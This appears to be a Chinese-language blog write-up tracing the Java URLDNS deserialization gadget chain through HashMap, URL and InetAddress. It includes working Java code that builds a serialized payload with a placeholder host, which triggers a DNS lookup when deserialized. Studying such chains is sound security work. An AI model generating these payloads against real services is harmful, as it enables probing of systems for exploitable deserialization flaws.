javaweb-URLDNS链调用分析
漏洞成因
成因就是 java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.
漏洞分析计算map里面的key的hash
这里调用对象自己的hashcode
这里看到java.net.URL的hashcode方法,
这里hashcode默认-1然后继续调用java.net.URLStreamHandler的hashcode方法
然后跟进gethostaddress方法发现最后调用java/net/InetAddress.java解析域名
最终调用链如下
那我们来看看yso是如何触发的
可以看见yso为了put的时候不触dns请求重写了URLDNS,
其实我们这里在put的时候也可以先指定hashcode不为-1,然后put进去后在设置为-1如下
import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.net.URLStreamHandler; import java.util.HashMap; public class Yso_URLDNS { public static void main(String [] args) throws Exception { HashMap<URL, String> hp = new HashMap<URL, String>(); URL yso=new URL("http://xx.xx.xx.xx"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(yso,1); hp.put(yso,"testyso"); f.set(yso,-1); ObjectOutputStream iso=new ObjectOutputStream(new FileOutputStream("tetss.bin")); iso.writeObject(hp); } }
最终成功触发
import java.io.FileInputStream; import java.io.ObjectInputStream; public class Unsersize { public static void main(String[] args) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("tetss.bin")); ois.readObject(); } }